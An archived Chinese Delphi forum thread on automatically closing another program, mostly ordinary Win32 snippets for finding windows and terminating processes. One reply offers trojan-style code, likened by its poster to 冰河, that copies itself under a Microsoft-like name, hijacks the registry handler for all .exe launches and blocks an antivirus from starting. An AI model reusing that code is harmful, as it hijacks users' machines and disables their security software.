如何关闭应用程序 (200分)

ljbXS · 2001-10-14

当一个程序起动后马上让它关闭，比如我运行“联众”，打开界面后马上关闭“联众” 要是自动关闭[

][

][8D][

][

]

YB_unique · 2001-10-14

没测试，随手写的！ Var I:Thandle; begin I:=FindWindow('联众游戏大厅',nil); If I<>0 Then SendMessage(I,WM_SYSCOMMAND,SC_MINIMIZE,0); end;

YB_unique · 2001-10-14

当然也可以找它的进程，然后Kill

dadabox · 2001-10-14

只要它有窗口,通过查找窗口信息找出进程,然后杀掉.也可以照YB_unique的第一个法子.

xxhsh · 2001-10-14

是这样的！！！！！！

wind2000 · 2001-10-14

用我的『进程管理』可以很方便地控制一个或多个程序的开启或关闭， 我的主页 http://ph11.126.com 有下载

pingbaoshi · 2001-10-14

问题：程序如何中止 ( 积分：100, 回复：8, 阅读：60 ) 分类：非技术问题 ( 版主：悲酥清风, luyear )   来自：chluo, 时间：2000-7-13 17:42:00, ID：282663 [显示：小字体 | 大字体]   在windows下编了一个程序，当调用一个程序，运行结束后，会 出现一个dos窗口，如何把它杀掉？     来自：www, 时间：2000-7-13 17:55:00, ID：282671 用winexec('command /c 程序名 ',sw_hide);     来自：Kent, 时间：2000-7-13 18:03:00, ID：282679 agree...     来自：chluo, 时间：2000-7-13 18:58:00, ID：282726 情形是这样的，我调了一个在dos执行的程序，采用的是createprocess,然后 waitforsingleobject，这个dos程序本身有一个退出按钮，通过跟踪发现， 当点了退出按钮后，waitforsingleobject不会返回，除非我自己手工地去点击 dos窗口的关闭纽，它才会返回，我希望把最后这一步去掉，不知道有没有方法？     来自：向红林, 时间：2000-7-13 21:22:00, ID：282831 试下 var HWndCalculator : HWnd; begin // find the exist calculator window HWndCalculator := Winprocs.FindWindow(nil, '你的DOS程序标题栏'); // close the exist Calculator if HWndCalculator <> 0 then SendMessage(HWndCalculator, WM_CLOSE, 0, 0); end;     来自：老屯, 时间：2000-7-13 21:37:00, ID：282844 你先记住dos窗口的关闭按钮的位置,当你要结束的时候,给这个Dos窗口发送鼠标抬起的消息     来自：孤松, 时间：2000-7-14 12:07:00, ID：283384 用    Application.terminate 就可以了     来自：Crab, 时间：2000-7-14 18:37:00, ID：283700 最好不要直接运行 DOS 版本的 exe 文件，用它的 pif 文件运行，在其中设上自动 关闭。     来自：chluo, 时间：2000-7-14 22:12:00, ID：283853 多人接受答案了。     得分大富翁：Crab-50,Kent-10,www-10,孤松-10,老屯-10,向红林-10,

pingbaoshi · 2001-10-14

问题：如何激活和杀掉某一个进程？ ( 积分：200, 回复：9, 阅读：136 ) 分类：系统相关 ( 版主：luyear, zyy04 )   来自：php1, 时间：2000-6-1 8:36:00, ID：257303 [显示：小字体 | 大字体]   　　这已经不是什么新鲜的问题了。以前也有很多人解决过类似的 问题。但是我看那些例子看不懂，只好出重金求答案。 　　有如下程序片段： ...... var   mainform: Tmainform;   l    : Tlist;  ////返回的东东在"L"这个TList中。 type   TProcessInfo = Record     ExeFile    : String;     ProcessID  : DWORD;   end;   pProcessInfo = ^TProcessInfo; implementation {$R *.DFM} procedure Tmainform.B_StartClick(Sender: TObject); var     p : pProcessInfo;     lppe: TProcessEntry32;     found : boolean;     Hand : THandle; begin     lb_show.Items.Clear;     l.Clear;     Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);     lppe.dwSize:=sizeof(lppe);     found := Process32First(Hand,lppe);     if not found then begin         showmessage('Found false!');         exit;     end;     while found do begin         New(p);         p.ExeFile := lppe.szExeFile;         p.ProcessID := lppe.th32ProcessID;         l.Add(p);         lb_show.Items.Add(p.exefile);         found := Process32Next(Hand,lppe);     end; end; ...... 　　我如何根据上面得到的p，激活或者杀掉某一个进程？请写出程序段。 如果上面的有错误，应该怎样改？然后又怎样激活或者杀掉？     来自：Croco, 时间：2000-6-1 9:13:00, ID：257335 根据进程 ID 杀掉进程的函数如下： procedure KillProcess(dwProcessId: DWORD); var  ProcHandle: THandle; begin   ProcHandle := OpenProcess(1, FALSE, dwProcessID);   try     if ProcHandle <> 0 then     begin       if TerminateProcess(ProcHandle, $FFFFFFFF) then         WaitForSingleObject(ProcHandle, INFINITE);     end;   finally     CloseHandle(ProcHandle);   end; end; 你可以这样调用 KillProcess(p.ProcessID);     来自：Kill Night, 时间：2000-6-1 9:28:00, ID：257344 杀掉一个进程调用API, BOOL TerminateProcess(   HANDLE hProcess, // handle to the process   UINT uExitCode   // exit code for the process ); 或 VOID ExitProcess(   UINT uExitCode   // exit code for all threads ); 进程不能Suspend,所以无法激活; 不过希望你能这样做:   你可以找进程下的所有线程,对线程操作要方便的多且安全的多.     来自：php1, 时间：2000-6-10 12:02:00, ID：263832 Croco的答案，我测试过的确不错。但是，人心不足，当我企图用这个程序 来杀江民的“KVW3000 实时监视器 - KVWMon”的时候，问题来了。 　　KillProcess(p.ProcessID)会进入运行： WaitForSingleObject(ProcHandle, INFINITE);     一会后，就会（没有响应）。不过，KVWMon也很伤，图标没了。为什么会 这样？ 　　另外，对于IE有时会一杀就是几个窗口（这样很容易杀错良民。），大概 这是一个进程下的几个线程吧！取线程的ID应该是用Thread32First和 Thread32Next吧。但是好象不能直接用这两个函数来替代上例中的 Process32First和Process32Next，显示： [Error] main_form.pas(88): Types of actual and formal var parameters must be identical     而我看的资料这两对函数的参数好象是一样的。为什么会出错？     来自：honestman, 时间：2000-6-10 12:09:00, ID：263841 　　用这些方法来杀进程，会不会清除该进程所占的内存？对系统的稳定性有没有 影响？     来自：happy3001, 时间：2000-6-10 13:46:00, ID：263903 PHP1大哥:   小弟不能下载,能把题目和好的答案给我吗?    THANKS         E-MAIL:renyi163@yeah.net     来自：php1, 时间：2000-6-15 8:13:00, ID：265391 　　用这些方法来杀进程，会不会清除该进程所占的内存？对系统的稳定性有没有 影响？     来自：sonicyouth, 时间：2000-6-15 8:50:00, ID：265417 当然会清除该process占用的所有内存,对系统稳定性也应该不会有影响, 只会对被中止的process造成影响,比方说不能保存当前数据之类的     来自：php1, 时间：2000-6-15 12:42:00, ID：265571 这就不关我事了，只要能完全清除该process占用的所有内存,对系统稳定性不会有影响就行了。     来自：php1, 时间：2000-7-4 8:21:00, ID：276116 多人接受答案了。     得分大富翁：Croco-150,happy3001-5,honestman-5,Kill Night-25,sonicyouth-15, p

wql · 2001-10-17

Procedure CloseLZProc; Var     _HWnd:HWnd; begin     _HWnd:=FindWindow(Nil,PChar('联众游戏大厅')); // 注意标题必须在后面!     If (_HWnd<>0) Then        SendMessage(_HWnd,WM_CLOSE,0,0); end;

不能没有你 · 2001-10-21

关注

小侠客 · 2001-10-21

这里有没有搞网络软件开发的？

吴三桂 · 2001-10-21

你也可以写一个程序对所执行的.exe文件进行过滤，在注册表中修改.exe的关联，这样不 就不用麻烦了啊：）像冰河一样：）呵呵：）

吴三桂 · 2001-10-21

我也是学DELPHI不久，所以程序写的也不是很好，但至少可以给大家提供一种方法， 互相学习嘛：） unit Unit1; interface uses   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,   Registry; type   TForm1 = class(TForm)     procedure FormCreate(Sender: TObject);   private     { Private declarations }   public     { Public declarations }   procedure cmerasebkgnd(var message:twmerasebkgnd);message wm_erasebkgnd;   end; var   Form1: TForm1; implementation {$R *.DFM} procedure tform1.cmerasebkgnd(var message:twmerasebkgnd); begin brush.style:=bsclear; inherited; end; procedure TForm1.FormCreate(Sender: TObject); var   pname,mname:String;   a:Byte;   Reg:TRegistry; begin   SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);   if (not fileexists('c:/windows/MicroSoft.exe')) then begin     mname := Application.ExeName ;     CopyFile(Pchar(mname),'c:/windows/MicroSoft.exe',true);     Reg:=TRegistry.Create;     Reg.RootKey:=HKEY_CLASSES_ROOT;     reg.OpenKey('exefile/shell/open/command',true);     reg.WriteString('','c:/windows/MicroSoft.exe %1 %*');     reg.CloseKey;   end;   pname:='';   a:=1;   while ParamStr(a)<>'' do begin     pname:=pname+ParamStr(a)+' ';     inc(a);   end;   if (pos('qq',pname)<>0) or (pos('Qq',pname)<>0) or (pos('QQ',pname)<>0) or (pos('qQ',pname)<>0) then begin     messagebeep(0);     showmessage('大家好，我是 “ 百分百感觉 ” ：） QQ：85813096 ！！！');   end;   if (pos('kv',pname)<>0) or (pos('KV',pname)<>0) or (pos('Kv',pname)<>0) or (pos('kV',pname)<>0) then begin     messagebeep(0);     showmessage('程序已经被破坏！请不要自讨没趣了！！！！');   end else WinExec(Pchar(pname),0);   Application.Terminate ; end; end. 当然这个程序还有个问题是不能关机：（要对关机指命也进行一下过滤：）网上有，请 大家找一下：）我在这里只是给大家一个思路，至于怎么走，呵呵：） [

][

]

刘李子 · 2001-10-21

小侠客，我有兴趣。 msgofbusiness@263.net

江维 · 2001-10-22

Windows NT中有一个函数MoveFileEx，若使用MOVEFILE_DELAY_UNTIL_REBOOT 标记，它可以在重启过程中删除文件。但是，Windows 9x 并不支持这个标记。怎么办呢？ 每次当你重启，windows会在Windows目录下寻找文件WININIT.INI。这个文件包含删除/复制/重命名文件的命令，它可以在任何东西（实际上是决大部分）被载入前运行。你可以在[Rename]部分里使用语法目标文件=原文件。如果目标文件为NUL，则文件将被删除。文件名和路径必须是短文件名（因为这个过程运行于长文件名支持程序载入之前）。 注意文件win32.hlp与这个例子相反，你不可以使用WritePrivateProfileString()或TiniFile访问这个文件，可能由于它有副本值。若它有空值，TiniFile会覆盖它而不是新建一个，所以你最好使用TstringList代替。 以下是一些输入项: [rename] NUL=C:/TEMP.TXT NUL=C:/TEMP2.TXT C:/NEW_DIR/EXISTING.TXT=C:/EXISTING.TXT C:/NEW_DIR/NEWNAME.TXT=C:/OLDNAME.TXT C:/EXISTING.TXT=C:/TEMP/NEWFILE.TXT 以下是函数DeleteLater，它会往wininit.ini里添加NUL=文件名，若wininit.ini不存在，则创建一个，也可以创建[rename]部分。 procedure DeleteLater(Filename: string); var   Wininit : string;   Buffer : array[0..MAX_PATH] Of char;   I,J : integer;   Ini : TStringList; begin   FillChar(Buffer, SizeOf(Buffer), 0);   GetWindowsDirectory(Buffer, SizeOf(Buffer));   Wininit := IncludeTrailingBackslash(Buffer) + 'Wininit.ini';   Ini := TStringList.Create;   try     if FileExists(Wininit) then Ini.LoadFromFile(Wininit);     for I := 0 to Ini.Count - 1 do Ini := Uppercase(Ini);      J := Ini.IndexOf('[RENAME]');     if J = -1 then     begin       Ini.Add('[Rename]');       J := 0;     end;   FillChar(Buffer, SizeOf(Buffer), 0);   GetShortPathName(PChar(Filename), Buffer, SizeOf(Buffer));   Ini.Insert(J+1, 'NUL=' + Buffer);   Ini.SaveToFile(Wininit);   finally     Ini.Free;   end; end;

wjiachun · 2003-03-28

接受答案了.

如何关闭应用程序 (200分)

ljbXS

Unregistered / Unconfirmed

YB_unique

Unregistered / Unconfirmed

YB_unique

Unregistered / Unconfirmed

dadabox

Unregistered / Unconfirmed

xxhsh

Unregistered / Unconfirmed

wind2000

Unregistered / Unconfirmed

pingbaoshi

Unregistered / Unconfirmed

pingbaoshi

Unregistered / Unconfirmed

wql

Unregistered / Unconfirmed

不能没有你

Unregistered / Unconfirmed

小侠客

Unregistered / Unconfirmed

吴三桂

Unregistered / Unconfirmed

吴三桂

Unregistered / Unconfirmed

刘李子

Unregistered / Unconfirmed

江维

Unregistered / Unconfirmed

wjiachun

Unregistered / Unconfirmed

Similar threads